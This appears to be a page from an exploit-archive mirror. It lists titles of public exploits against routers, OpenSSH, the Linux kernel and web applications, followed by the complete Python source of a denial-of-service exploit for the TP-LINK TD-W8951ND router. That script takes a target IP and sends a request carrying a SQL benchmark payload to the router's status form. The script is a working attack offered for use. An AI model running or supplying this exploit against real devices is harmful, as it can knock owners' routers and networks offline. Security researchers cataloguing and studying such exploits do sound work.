0231ae9ba7
5 new exploits Dual DHCP DNS Server 7.29 - Denial of Service TP-LINK TD-W8951ND - Denial of Service OpenSSH 7.2 - Denial of Service Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation Advanced Webhost Billing System (AWBS) - cart2.php Remote File Inclusion Advanced Webhost Billing System (AWBS) 2.4.0 - 'cart2.php' Remote File Inclusion AWBS 2.7.1 - (news.php viewnews) SQL Injection Anata CMS 1.0b5 - (change.php) Arbitrary Add Admin Advanced Webhost Billing System (AWBS) 2.7.1 - 'news.php' SQL Injection Anata CMS 1.0b5 - 'change.php' Arbitrary Add Admin Simple Machines Forum 1.0.13 / 1.1.5 - 'Destroyer 0.1' Password Reset Security Bypass Simple Machines Forum (SMF) 1.0.13 / 1.1.5 - 'Destroyer 0.1' Password Reset Security Bypass Simple Machines Forum (SMF) - Multiple Security Vulnerabilities Simple Machines Forum (SMF) 1.1.10/2.0 RC2 - Multiple Security Vulnerabilities Advanced Webhost Billing System 2.2.2 - contact.php Multiple Cross-Site Scripting Vulnerabilities Advanced Webhost Billing System 2.9.2 - 'oid' Parameter SQL Injection Advanced Webhost Billing System (AWBS) 2.9.2 - 'oid' Parameter SQL Injection Simple Machines Forum (SMF) 2.0.2 - 'index.php' scheduled Parameter Cross-Site Scripting Simple Machines Forum (SMF) 2.0.2 - 'scheduled' Parameter Cross-Site Scripting Cisco Unified Communications Manager 7/8/9 - Directory Traversal
24 lines
578 B
Python
Executable file
24 lines
578 B
Python
Executable file
# Exploit Title: TP-LINK TD-W8951ND - Denial of Service
|
|
# Date: 2016-12-07
|
|
# Exploit Author: Persian Hack Team
|
|
# Discovered by : Mojtaba MobhaM
|
|
# Tested on: Windows AND Linux
|
|
# Demo Construction : https://youtu.be/7mv_rW3mtVE
|
|
|
|
#!/usr/bin/python
|
|
import urllib
|
|
|
|
site=raw_input("Enter IP Address : ")
|
|
if (site.find('http://')<0):
|
|
strh = "http://"
|
|
url=strh+site
|
|
else:
|
|
url=site
|
|
|
|
try:
|
|
url += "/Forms/status_1?flagFresh=0&1 and benchmark(20000000%2csha1(1))--=1"
|
|
r = urllib.urlopen(url)
|
|
print r.code
|
|
print "Done!!"
|
|
except:
|
|
pass
|